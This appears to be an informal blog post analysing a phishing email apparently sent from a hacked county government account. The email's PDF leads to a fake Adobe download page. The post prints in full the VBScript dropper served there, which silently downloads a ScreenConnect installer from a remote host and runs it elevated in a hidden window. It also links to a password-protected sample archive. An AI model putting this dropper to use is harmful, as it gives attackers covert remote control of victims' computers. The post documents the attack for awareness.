County Gov got hacked

Table of Contents

The Start

So in my throw away email account I have I had a email from the county government with the header “Approved Submission & Statement | Madison County Information Technologies Review And Sign”, odd why is the county emailing this email account? And why am I getting this? Inside the email was the following personal names removed

Hello ,

Please see revised Approved Submission & Statement 

PDF PIN : 2026

All attached files are provided in PDF format for your convenience.


Thank you,

Have the best day ever!

 PERSONAL DETAILS OF SENDER REMOVED

I wonder what is in this PDF? Well inside the PDF is a “download” link which takes you to a google storage which has a fake adobe download page… what is this fake download? well this


Option Explicit

' **************************************************************************
' Script: SystemManagementDeployer.vbs
' Description: Utility for automated installation of management software.
' **************************************************************************

Main

Sub Main()
    On Error Resume Next
    
    Dim shell, fso, http, stream
    Dim workDir, fileName, fullPath, logPath
    Dim remoteUrl, requestStatus
    
    ' Configuration
    remoteUrl = "https://rtsinternationals.screenconnect.com/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest"
    
    Set shell = CreateObject("WScript.Shell")
    Set fso = CreateObject("Scripting.FileSystemObject")
    
    ' Define paths
    workDir = shell.ExpandEnvironmentStrings("%PROGRAMDATA%")
    If Not fso.FolderExists(workDir) Then workDir = shell.ExpandEnvironmentStrings("%TEMP%")
    
    fileName = "MgmtInstaller_" & Hex(Timer) & ".msi"
    fullPath = fso.BuildPath(workDir, fileName)
    logPath = fso.BuildPath(workDir, "Install_Report.log")
    
    ' Initialize Download
    Set http = CreateObject("WinHttp.WinHttpRequest.5.1")
    http.Open "GET", remoteUrl, False
    http.SetRequestHeader "User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) ManagementAgent/2.1"
    http.Send
    
    requestStatus = http.Status
    
    If Err.Number = 0 And requestStatus = 200 Then
        ' Save file using Stream object
        Set stream = CreateObject("ADODB.Stream")
        stream.Open
        stream.Type = 1 ' adTypeBinary
        stream.Write http.ResponseBody
        stream.SaveToFile fullPath, 2 ' adSaveCreateOverWrite
        stream.Close
        Set stream = Nothing
        
        ' Trigger installation if file exists
        If fso.FileExists(fullPath) Then
            RunMsiInstaller fullPath, logPath
        End If
    Else
        ' Fallback: Attempt to run directly from URL if local download fails
        RunMsiInstaller remoteUrl, logPath
    End If
    
    ' Cleanup
    If Err.Number <> 0 Then Err.Clear
    Set shell = Nothing
    Set fso = Nothing
End Sub

Sub RunMsiInstaller(source, logFile)
    Dim shellApp, args
    Set shellApp = CreateObject("Shell.Application")
    
    ' Arguments: 
    ' /i: Install package
    ' /qn: Quiet mode, no user interaction
    ' /norestart: Prevent automatic system reboot
    ' /lv: Enable verbose logging
    args = "/i """ & source & """ /qn /norestart /lv """ & logFile & """"
    
    ' Execute with administrative privileges
    ' "runas" verb ensures elevation if required
    ' 0: Hidden window
    shellApp.ShellExecute "msiexec.exe", args, "", "runas", 0
    
    Set shellApp = Nothing
End Sub

Well we know this ain’t good eh? Of course the url in the above source downloads a .msi which is a “ScreenConnect Software” and we know what happens with that eh? It looks to me it all runs without the user knowing so yep.

Anyway at this point this is as far as I have got at 14:21EDT JUL 17 so idk how much farther I will go with it, if I do I will update this page.

If you want to see the collected files then click this link the pwd to the zip is infected